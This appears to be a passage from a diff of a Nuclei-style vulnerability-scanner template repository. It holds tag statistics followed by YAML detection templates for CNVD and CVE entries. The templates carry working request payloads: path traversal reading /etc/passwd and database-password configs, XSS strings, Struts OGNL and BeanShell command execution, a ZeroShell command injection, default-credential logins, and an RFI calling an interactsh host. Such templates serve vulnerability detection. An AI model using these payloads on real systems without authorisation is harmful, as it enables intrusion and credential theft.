+| cofax              |     1 |                                |       |                         |       |          |       |         |       |
+| zmanda             |     1 |                                |       |                         |       |          |       |         |       |
+| miscrsoft          |     1 |                                |       |                         |       |          |       |         |       |
+| blackboard         |     1 |                                |       |                         |       |          |       |         |       |
+| lighttpd           |     1 |                                |       |                         |       |          |       |         |       |
+| redwood            |     1 |                                |       |                         |       |          |       |         |       |
+| camera             |     1 |                                |       |                         |       |          |       |         |       |
+| accela             |     1 |                                |       |                         |       |          |       |         |       |
+| phpinfo            |     1 |                                |       |                         |       |          |       |         |       |
+| totaljs            |     1 |                                |       |                         |       |          |       |         |       |
+| thinkadmin         |     1 |                                |       |                         |       |          |       |         |       |
+| xiuno              |     1 |                                |       |                         |       |          |       |         |       |
+| commscope          |     1 |                                |       |                         |       |          |       |         |       |
+| b2evolution        |     1 |                                |       |                         |       |          |       |         |       |
+| opencast           |     1 |                                |       |                         |       |          |       |         |       |
+| db                 |     1 |                                |       |                         |       |          |       |         |       |
+| xml                |     1 |                                |       |                         |       |          |       |         |       |
+| episerver          |     1 |                                |       |                         |       |          |       |         |       |
+| postmessage        |     1 |                                |       |                         |       |          |       |         |       |
+| parentlink         |     1 |                                |       |                         |       |          |       |         |       |
+| jfrog              |     1 |                                |       |                         |       |          |       |         |       |
+| ueditor            |     1 |                                |       |                         |       |          |       |         |       |
+| empirecms          |     1 |                                |       |                         |       |          |       |         |       |
+| netgenie           |     1 |                                |       |                         |       |          |       |         |       |
+| htmli              |     1 |                                |       |                         |       |          |       |         |       |
+| haproxy            |     1 |                                |       |                         |       |          |       |         |       |
+| netdata            |     1 |                                |       |                         |       |          |       |         |       |
+| alertmanager       |     1 |                                |       |                         |       |          |       |         |       |
+| dvwa               |     1 |                                |       |                         |       |          |       |         |       |
+| opensmtpd          |     1 |                                |       |                         |       |          |       |         |       |
+| qcubed             |     1 |                                |       |                         |       |          |       |         |       |
+| zyxel              |     1 |                                |       |                         |       |          |       |         |       |
+| tpshop             |     1 |                                |       |                         |       |          |       |         |       |
+| simplecrm          |     1 |                                |       |                         |       |          |       |         |       |
+| trilithic          |     1 |                                |       |                         |       |          |       |         |       |
+| k8s                |     1 |                                |       |                         |       |          |       |         |       |
+| mobileiron         |     1 |                                |       |                         |       |          |       |         |       |
+| cocoon             |     1 |                                |       |                         |       |          |       |         |       |
+| gitlist            |     1 |                                |       |                         |       |          |       |         |       |
+| idemia             |     1 |                                |       |                         |       |          |       |         |       |
+| traefik            |     1 |                                |       |                         |       |          |       |         |       |
+| linkedin           |     1 |                                |       |                         |       |          |       |         |       |
+| jenkin             |     1 |                                |       |                         |       |          |       |         |       |
+| postgres           |     1 |                                |       |                         |       |          |       |         |       |
+| api-manager        |     1 |                                |       |                         |       |          |       |         |       |
+| nuxeo              |     1 |                                |       |                         |       |          |       |         |       |
+| nordex             |     1 |                                |       |                         |       |          |       |         |       |
+| domxss             |     1 |                                |       |                         |       |          |       |         |       |
+| prestashop         |     1 |                                |       |                         |       |          |       |         |       |
+| addpac             |     1 |                                |       |                         |       |          |       |         |       |
+| mdb                |     1 |                                |       |                         |       |          |       |         |       |
+| sitecore           |     1 |                                |       |                         |       |          |       |         |       |
+| viewlinc           |     1 |                                |       |                         |       |          |       |         |       |
+| moinmoin           |     1 |                                |       |                         |       |          |       |         |       |
+| ecom               |     1 |                                |       |                         |       |          |       |         |       |
+| fortinet           |     1 |                                |       |                         |       |          |       |         |       |
+| vsphere            |     1 |                                |       |                         |       |          |       |         |       |
+| lanproxy           |     1 |                                |       |                         |       |          |       |         |       |
+| sqlite             |     1 |                                |       |                         |       |          |       |         |       |
+| apos               |     1 |                                |       |                         |       |          |       |         |       |
+| cors               |     1 |                                |       |                         |       |          |       |         |       |
+| scimono            |     1 |                                |       |                         |       |          |       |         |       |
+| drone              |     1 |                                |       |                         |       |          |       |         |       |
+| nedi               |     1 |                                |       |                         |       |          |       |         |       |
+| iptime             |     1 |                                |       |                         |       |          |       |         |       |
+| starttls           |     1 |                                |       |                         |       |          |       |         |       |
+| tensorboard        |     1 |                                |       |                         |       |          |       |         |       |

TOP-10.md

@@ -0,0 +1,12 @@
+|    TAG    | COUNT |    AUTHOR     | COUNT |    DIRECTORY     | COUNT | SEVERITY | COUNT |  TYPE   | COUNT |
+|-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------|
+| cve       |   624 | pikpikcu      |   243 | cves             |   631 | info     |   592 | http    |  1785 |
+| panel     |   222 | dhiyaneshdk   |   240 | vulnerabilities  |   281 | high     |   504 | file    |    46 |
+| xss       |   221 | pdteam        |   196 | exposed-panels   |   225 | medium   |   398 | network |    38 |
+| exposure  |   212 | daffainfo     |   160 | exposures        |   182 | critical |   230 | dns     |    11 |
+| wordpress |   203 | geeknik       |   149 | technologies     |   160 | low      |   161 |         |       |
+| lfi       |   203 | dwisiswant0   |   131 | misconfiguration |   125 |          |       |         |       |
+| rce       |   189 | gy741         |    71 | takeovers        |    71 |          |       |         |       |
+| cve2020   |   157 | madrobot      |    62 | default-logins   |    51 |          |       |         |       |
+| wp-plugin |   136 | princechaddha |    53 | file             |    46 |          |       |         |       |
+| cve2021   |   103 | pussycat0x    |    42 | workflows        |    35 |          |       |         |       |

cnvd/CNVD-2019-01348.yaml

@@ -0,0 +1,27 @@
+id: CNVD-2019-01348
+
+info:
+  name: Xiuno BBS CNVD-2019-01348
+  author: princechaddha
+  severity: medium
+  description: The Xiuno BBS system has a system reinstallation vulnerability. The vulnerability stems from the failure to protect or filter the installation directory after the system is installed. Attackers can directly reinstall the system through the installation page.
+  reference: https://www.cnvd.org.cn/flaw/show/CNVD-2019-01348
+  tags: xiuno,cnvd
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/install/"
+    headers:
+      Accept-Encoding: deflate
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "/view/js/xiuno.js"
+          - "Choose Language (选择语言)"
+        part: body
+        condition: and

cnvd/CNVD-2020-23735.yaml

@@ -0,0 +1,26 @@
+id: CNVD-2020-23735
+
+info:
+  name: Xxunchi Local File read
+  author: princechaddha
+  severity: medium
+  description: Xunyou cms has an arbitrary file reading vulnerability. Attackers can use vulnerabilities to obtain sensitive information.
+  reference: https://www.cnvd.org.cn/flaw/show/2025171
+  tags: xunchi,lfi,cnvd
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/backup/auto.php?password=NzbwpQSdbY06Dngnoteo2wdgiekm7j4N&path=../backup/auto.php"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "NzbwpQSdbY06Dngnoteo2wdgiekm7j4N"
+          - "display_errors"
+        part: body
+        condition: and

cnvd/CNVD-2020-56167.yaml

@@ -0,0 +1,30 @@
+id: CNVD-2020-56167
+
+info:
+  name: Ruijie Smartweb Default Password
+  author: pikpikcu
+  severity: low
+  reference: https://www.cnvd.org.cn/flaw/show/CNVD-2020-56167
+  tags: ruijie,default-login,cnvd
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/WEB_VMS/LEVEL15/"
+    headers:
+      Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
+    body: command=show basic-info dev&strurl=exec%04&mode=%02PRIV_EXEC&signname=Red-Giant.
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - "Level was: LEVEL15"
+          - "/WEB_VMS/LEVEL15/"
+        part: body
+        condition: and
+
+      - type: status
+        status:
+          - 200

cnvd/CNVD-2020-62422.yaml

@@ -0,0 +1,29 @@
+id: CNVD-2020-62422
+
+info:
+  name: Seeyon readfile(CNVD-2020-62422)
+  author: pikpikcu
+  severity: medium
+  reference: https://blog.csdn.net/m0_46257936/article/details/113150699
+  tags: lfi,cnvd
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/seeyon/webmail.do?method=doDownloadAtt&filename=index.jsp&filePath=../conf/datasourceCtp.properties"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "application/x-msdownload"
+        condition: and
+        part: header
+      - type: word
+        words:
+          - "ctpDataSource.password"
+        condition: and
+        part: body

cnvd/CNVD-2020-68596.yaml

@@ -0,0 +1,49 @@
+id: CNVD-2020-68596
+
+info:
+  name: WeiPHP 5.0 Path Traversal
+  author: pikpikcu
+  severity: critical
+  reference: http://wiki.peiqi.tech/PeiQi_Wiki/CMS%E6%BC%8F%E6%B4%9E/Weiphp/Weiphp5.0%20%E5%89%8D%E5%8F%B0%E6%96%87%E4%BB%B6%E4%BB%BB%E6%84%8F%E8%AF%BB%E5%8F%96%20CNVD-2020-68596.html
+  tags: weiphp,lfi,cnvd
+
+requests:
+  - raw:
+      - |
+        POST /public/index.php/material/Material/_download_imgage?media_id=1&picUrl=./../config/database.php HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
+        Content-Length: 5
+        Content-Type: application/x-www-form-urlencoded
+        Accept-Encoding: deflate
+
+        "1":1
+      - |
+        GET /public/index.php/home/file/user_pics HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
+        Accept-Encoding: gzip
+        Accept-Encoding: deflate
+
+      - |
+        GET {{endpoint}} HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
+        Accept-Encoding: deflate
+
+    extractors:
+      - type: regex
+        name: endpoint
+        part: body
+        internal: true
+        regex:
+          - '/public/uploads/picture/(.*.jpg)'
+
+    matchers:
+      - type: word
+        words:
+          - https://weiphp.cn
+          - WeiPHP
+          - DB_PREFIX
+        condition: and
+        part: body

cnvd/CNVD-2021-10543.yaml

@@ -0,0 +1,26 @@
+id: CNVD-2021-10543
+
+info:
+  name: EEA Information Disclosure
+  author: pikpikcu
+  severity: high
+  reference: https://www.cnvd.org.cn/flaw/show/CNVD-2021-10543
+  tags: config,exposure,cnvd
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/authenticationserverservlet"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "<username>(.*?)</username>"
+          - "<password>(.*?)</password>"
+        condition: and
+
+      - type: status
+        status:
+          - 200

cnvd/CNVD-2021-15822.yaml

@@ -0,0 +1,27 @@
+id: CNVD-2021-15822
+
+info:
+  name: ShopXO Download File Read
+  author: pikpikcu
+  severity: high
+  reference: https://mp.weixin.qq.com/s/69cDWCDoVXRhehqaHPgYog
+  tags: shopxo,lfi
+
+requests:
+  - raw:
+      - |
+        GET /public/index.php?s=/index/qrcode/download/url/L2V0Yy9wYXNzd2Q=  HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
+        Content-Type: application/x-www-form-urlencoded
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200

cnvd/CNVD-2021-17369.yaml

@@ -0,0 +1,29 @@
+id: CNVD-2021-17369
+
+info:
+  name: Ruijie Smartweb Management System Password Information Disclosure
+  author: pikpikcu
+  severity: medium
+  reference: https://www.cnvd.org.cn/flaw/show/CNVD-2021-17369
+  tags: ruijie,disclosure,cnvd
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/web/xml/webuser-auth.xml"
+    headers:
+      Cookie: login=1; auth=Z3Vlc3Q6Z3Vlc3Q%3D; user=guest
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - "<userauth>"
+          - "<password>"
+        part: body
+        condition: and
+
+      - type: status
+        status:
+          - 200

cnvd/CNVD-2021-30167.yaml

@@ -0,0 +1,45 @@
+id: CNVD-2021-30167
+
+info:
+  name: UFIDA NC BeanShell Remote Code Execution
+  author: pikpikcu
+  severity: high
+  reference: |
+     - https://mp.weixin.qq.com/s/FvqC1I_G14AEQNztU0zn8A
+     - https://www.cnvd.org.cn/webinfo/show/6491
+  tags: beanshell,rce,cnvd
+
+requests:
+  - raw:
+      - | #linux
+        POST /servlet/~ic/bsh.servlet.BshServlet HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
+        Content-Type: application/x-www-form-urlencoded
+
+        bsh.script=exec("id");
+
+      - | #windows
+        POST /servlet/~ic/bsh.servlet.BshServlet HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
+        Content-Type: application/x-www-form-urlencoded
+
+        bsh.script=exec("ipconfig");
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "uid="
+          - "Windows IP"
+        condition: or
+
+      - type: word
+        words:
+          - "BeanShell Test Servlet"
+
+      - type: status
+        status:
+          - 200

cves/2005/CVE-2005-2428.yaml

@@ -0,0 +1,25 @@
+id: CVE-2005-2428
+info:
+  name: CVE-2005-2428
+  author: CasperGN
+  severity: medium
+  tags: cve,cve2005
+  description: Lotus Domino R5 and R6 WebMail, with "Generate HTML for all fields" enabled, stores sensitive data from names.nsf in hidden form fields, which allows remote attackers to read the HTML source to obtain sensitive information such as (1) the password hash in the HTTPPassword field, (2) the password change date in the HTTPPasswordChangeDate field, (3) the client platform in the ClntPltfrm field, (4) the client machine name in the ClntMachine field, and (5) the client Lotus Domino release in the ClntBld field, a different vulnerability than CVE-2005-2696.
+  reference: |
+    - http://www.cybsec.com/vuln/default_configuration_information_disclosure_lotus_domino.pdf
+    - https://www.exploit-db.com/exploits/39495
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/names.nsf/People?OpenView"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        name: domino-username
+        regex:
+          - '(<a href\=\"/names\.nsf/[0-9a-z\/]+\?OpenDocument)'
+        part: body

cves/2005/CVE-2005-4385.yaml

@@ -0,0 +1,26 @@
+id: CVE-2005-4385
+
+info:
+  name: Cofax <= 2.0RC3 XSS
+  description: Cross-site scripting vulnerability in search.htm in Cofax 2.0 RC3 and earlier allows remote attackers to inject arbitrary web script or HTML via the searchstring parameter.
+  reference:
+    - http://pridels0.blogspot.com/2005/12/cofax-xss-vuln.html
+    - https://nvd.nist.gov/vuln/detail/CVE-2005-4385
+  author: geeknik
+  severity: medium
+  tags: cofax,xss,cve,cve2005
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/search.htm?searchstring2=&searchstring=%27%3E%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        part: body
+        words:
+          - "'>\"</script><script>alert(document.domain)</script>"

cves/2006/CVE-2006-1681.yaml

@@ -0,0 +1,30 @@
+id: CVE-2006-1681
+
+info:
+  name: Cherokee HTTPD <=0.5 XSS
+  description: Cross-site scripting (XSS) vulnerability in Cherokee HTTPD 0.5 and earlier allows remote attackers to inject arbitrary web script or HTML via a malformed request that generates an HTTP 400 error, which is not properly handled when the error message is generated.
+  reference:
+    - https://www.securityfocus.com/bid/17408
+    - https://nvd.nist.gov/vuln/detail/CVE-2006-1681
+  author: geeknik
+  severity: medium
+  tags: cherokee,httpd,xss,cve,cve2006
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/%2F..%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "</script><script>alert(document.domain)</script>"
+
+      - type: word
+        part: header
+        words:
+          - text/html

cves/2007/CVE-2007-0885.yaml

@@ -0,0 +1,29 @@
+id: CVE-2007-0885
+
+info:
+  name: Rainbow.Zen Jira XSS
+  description: Cross-site scripting (XSS) vulnerability in jira/secure/BrowseProject.jspa in Rainbow with the Zen (Rainbow.Zen) extension allows remote attackers to inject arbitrary web script or HTML via the id parameter.
+  reference: https://www.securityfocus.com/archive/1/459590/100/0/threaded
+  author: geeknik
+  severity: medium
+  tags: cve,cve2007,jira,xss
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/jira/secure/BrowseProject.jspa?id=%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3e'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - '"><script>alert(document.domain)</script>'
+
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        part: header
+        words:
+          - "text/html"

cves/2007/CVE-2007-4556.yaml

@@ -0,0 +1,30 @@
+id: CVE-2007-4556
+
+info:
+  name: Apache Struts2 S2-001 RCE
+  author: pikpikcu
+  severity: critical
+  description: Struts support in OpenSymphony XWork before 1.2.3, and 2.x before 2.0.4, as used in WebWork and Apache Struts, recursively evaluates all input as an Object-Graph Navigation Language (OGNL) expression when altSyntax is enabled, which allows remote attackers to cause a denial of service (infinite loop) or execute arbitrary code via form input beginning with a "%{" sequence and ending with a "}" character.
+  reference: https://www.guildhab.top/?p=2326
+  tags: cve,cve2007,apache,rce,struts
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/login.action"
+    headers:
+      Content-Type: application/x-www-form-urlencoded
+    body: |
+        username=test&password=%25%7B%23a%3D%28new+java.lang.ProcessBuilder%28new+java.lang.String%5B%5D%7B%22cat%22%2C%22%2Fetc%2Fpasswd%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29%2C%23e%3Dnew+char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new+java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+        part: body
+
+      - type: status
+        status:
+          - 200

cves/2008/CVE-2008-2398.yaml

@@ -0,0 +1,29 @@
+id: CVE-2008-2398
+
+info:
+  name: AppServ Open Project 2.5.10 and earlier XSS
+  author: unstabl3
+  severity: medium
+  description: Cross-site scripting (XSS) vulnerability in index.php in AppServ Open Project 2.5.10 and earlier allows remote attackers to inject arbitrary web script or HTML via the appservlang parameter.
+  reference: https://exchange.xforce.ibmcloud.com/vulnerabilities/42546
+  tags: cve,cve2008,xss
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?appservlang=%3Csvg%2Fonload=confirm%28%27xss%27%29%3E"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "<svg/onload=confirm('xss')>"
+        part: body
+
+      - type: word
+        words:
+          - "text/html"
+        part: header

cves/2008/CVE-2008-2650.yaml

@@ -0,0 +1,25 @@
+id: CVE-2008-2650
+info:
+  name: CMSimple 3.1 - Local File Inclusion
+  author: pussycat0x
+  severity: high
+  description: |
+    Directory traversal vulnerability in cmsimple/cms.php in CMSimple 3.1, when register_globals is enabled, allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the sl parameter to index.php. NOTE: this can be leveraged for remote file execution by including adm.php and then invoking the upload action. NOTE: on 20080601, the vendor patched 3.1 without changing the version number.
+  reference: https://www.exploit-db.com/exploits/5700
+  tags: cve,cve2008,lfi
+requests:
+  - raw:
+      - |
+        GET /index.php?sl=../../../../../../../etc/passwd%00 HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:.*:0:0:"
+        part: body

cves/2008/CVE-2008-4668.yaml

@@ -0,0 +1,27 @@
+id: CVE-2008-4668
+
+info:
+  name: Joomla! Component imagebrowser 0.1.5 rc2 - Directory Traversal
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the Image Browser (com_imagebrowser) 0.1.5 component for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the folder parameter to index.php.
+  reference: |
+    - https://www.exploit-db.com/exploits/6618
+    - https://www.cvedetails.com/cve/CVE-2008-4668
+  tags: cve,cve2008,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_imagebrowser&folder=../../../../etc/passwd"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200

cves/2008/CVE-2008-4764.yaml

@@ -0,0 +1,27 @@
+id: CVE-2008-4764
+
+info:
+  name: Joomla! Component com_extplorer 2.0.0 RC2 - Directory Traversal
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in the eXtplorer module (com_extplorer) 2.0.0 RC2 and earlier in Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the dir parameter in a show_error action.
+  reference: |
+    - https://www.exploit-db.com/exploits/5435
+    - https://www.cvedetails.com/cve/CVE-2008-4764
+  tags: cve,cve2008,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_extplorer&action=show_error&dir=..%2F..%2F..%2F%2F..%2F..%2Fetc%2Fpasswd"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200

cves/2008/CVE-2008-6172.yaml

@@ -0,0 +1,27 @@
+id: CVE-2008-6172
+
+info:
+  name: Joomla! Component RWCards 3.0.11 - Local File Inclusion
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in captcha/captcha_image.php in the RWCards (com_rwcards) 3.0.11 component for Joomla!, when magic_quotes_gpc is disabled, allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the img parameter.
+  reference: |
+    - https://www.exploit-db.com/exploits/6817
+    - https://www.cvedetails.com/cve/CVE-2008-6172
+  tags: cve,cve2008,joomla,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/components/com_rwcards/captcha/captcha_image.php?img=../../../../../../../../../etc/passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200

cves/2008/CVE-2008-6668.yaml

@@ -0,0 +1,27 @@
+id: CVE-2008-6668
+
+info:
+  name: nweb2fax <= 0.2.7 Directory Traversal
+  description: Multiple directory traversal vulnerabilities in nweb2fax 0.2.7 and earlier allow remote attackers to read arbitrary files via .. in the id parameter to comm.php and var_filename parameter to viewrq.php.
+  reference:
+    - https://www.exploit-db.com/exploits/5856
+    - https://nvd.nist.gov/vuln/detail/CVE-2008-6668
+  author: geeknik
+  severity: high
+  tags: nweb2fax,lfi,cve,cve2008
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/comm.php?id=../../../../../../../../../../etc/passwd"
+      - "{{BaseURL}}/viewrq.php?format=ps&var_filename=../../../../../../../../../../etc/passwd"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        part: body
+        regex:
+          - "root:.*:0:0:"

cves/2009/CVE-2009-0545.yaml

@@ -0,0 +1,20 @@
+id: CVE-2009-0545
+
+info:
+  name: ZeroShell <= 1.0beta11 Remote Code Execution
+  author: geeknik
+  description: cgi-bin/kerbynet in ZeroShell 1.0beta11 and earlier allows remote attackers to execute arbitrary commands via shell metacharacters in the type parameter in a NoAuthREQ x509List action.
+  reference: https://www.exploit-db.com/exploits/8023
+  severity: critical
+  tags: cve,cve2009,zeroshell,kerbynet,rce
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;/root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22"
+
+    matchers:
+      - type: regex
+        part: body
+        regex:
+          - "root:.*:0:0:"

cves/2009/CVE-2009-0932.yaml

@@ -0,0 +1,28 @@
+id: CVE-2009-0932
+
+info:
+  name: Horde - Horde_Image::factory driver Argument LFI
+  author: pikpikcu
+  severity: high
+  description: |
+    Directory traversal vulnerability in framework/Image/Image.php in Horde before 3.2.4 and 3.3.3 and Horde Groupware before 1.1.5 allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the Horde_Image driver name.
+  reference: |
+    - https://www.exploit-db.com/exploits/16154
+    - https://nvd.nist.gov/vuln/detail/CVE-2009-0932?cpeVersion=2.2
+  tags: cve,cve2009,horde,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/horde/util/barcode.php?type=../../../../../../../../../../../etc/./passwd%00"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200

cves/2009/CVE-2009-1151.yaml

@@ -0,0 +1,35 @@
+id: CVE-2009-1151
+
+info:
+  name: PhpMyAdmin Scripts/setup.php Deserialization Vulnerability
+  author: princechaddha
+  severity: high
+  description: Setup script used to generate configuration can be fooled using a crafted POST request to include arbitrary PHP code in generated configuration file. Combined with ability to save files on server, this can allow unauthenticated users to execute arbitrary PHP code.
+  reference: https://www.phpmyadmin.net/security/PMASA-2009-3/
+  vulhub: https://github.com/vulhub/vulhub/tree/master/phpmyadmin/WooYun-2016-199433
+  tags: cve,cve2009,phpmyadmin,rce,deserialization
+
+requests:
+  - raw:
+      - |
+        POST /scripts/setup.php HTTP/1.1
+        Host: {{Hostname}}
+        Accept-Encoding: gzip, deflate
+        Accept: */*
+        Accept-Language: en
+        User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+        Connection: close
+        Content-Type: application/x-www-form-urlencoded
+        Content-Length: 80
+
+        action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: regex
+        regex:
+          - "root:.*:0:0:"

cves/2009/CVE-2009-1558.yaml

@@ -0,0 +1,24 @@
+id: CVE-2009-1558
+
+info:
+  name: Linksys WVC54GCA 1.00R22/1.00R24 (Wireless-G) - Directory Traversal
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in adm/file.cgi on the Cisco Linksys WVC54GCA wireless video camera with firmware 1.00R22 and 1.00R24 allows remote attackers to read arbitrary files via a %2e. (encoded dot dot) or an absolute pathname in the next_file parameter.
+  reference: https://www.exploit-db.com/exploits/32954
+  tags: cve,cve2009,iot,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/adm/file.cgi?next_file=%2fetc%2fpasswd"
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200

cves/2009/CVE-2009-1872.yaml

@@ -0,0 +1,32 @@
+id: CVE-2009-1872
+
+info:
+  name: Adobe Coldfusion 8 linked XSS vulnerabilies
+  author: princechaddha
+  severity: medium
+  description: Multiple cross-site scripting (XSS) vulnerabilities in Adobe ColdFusion Server 8.0.1, 8, and earlier allow remote attackers to inject arbitrary web script or HTML via (1) the startRow parameter to administrator/logviewer/searchlog.cfm, or the query string to (2) wizards/common/_logintowizard.cfm, (3) wizards/common/_authenticatewizarduser.cfm, or (4) administrator/enter.cfm.
+  reference: |
+    - https://www.securityfocus.com/archive/1/505803/100/0/threaded
+    - https://www.tenable.com/cve/CVE-2009-1872
+  tags: cve,cve2009,adobe,xss,coldfusion
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/CFIDE/wizards/common/_logintowizard.cfm?%22%3E%3C%2Fscript%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "</script><script>alert(document.domain)</script>"
+        part: body
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
+      - type: status
+        status:
+          - 200

cves/2009/CVE-2009-4223.yaml

@@ -0,0 +1,26 @@
+id: CVE-2009-4223
+
+info:
+  name: KR-Web <= 1.1b2 RFI
+  description: KR is a web content-server based on Apache-PHP-MySql technology who gives to internet programmers some PHP classes semplifying database content access. Elsewere, it gives some admin and user tools to write, hyerarchize and authorize contents.
+  reference:
+    - https://sourceforge.net/projects/krw/
+    - https://www.exploit-db.com/exploits/10216
+  author: geeknik
+  severity: high
+  tags: cve,cve2009,krweb,rfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/adm/krgourl.php?DOCUMENT_ROOT=http://{{interactsh-url}}"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        part: interactsh_protocol
+        words:
+          - "http"

cves/2009/CVE-2009-5114.yaml

@@ -0,0 +1,27 @@
+id: CVE-2009-5114
+
+info:
+  name: WebGlimpse 2.18.7 - Directory Traversal
+  author: daffainfo
+  severity: high
+  description: Directory traversal vulnerability in wgarcmin.cgi in WebGlimpse 2.18.7 and earlier allows remote attackers to read arbitrary files via a .. (dot dot) in the DOC parameter.
+  reference: |
+    - https://www.exploit-db.com/exploits/36994
+    - https://www.cvedetails.com/cve/CVE-2009-5114
+  tags: cve,cve2009,lfi
+
+requests:
+  - method: GET
+    path:
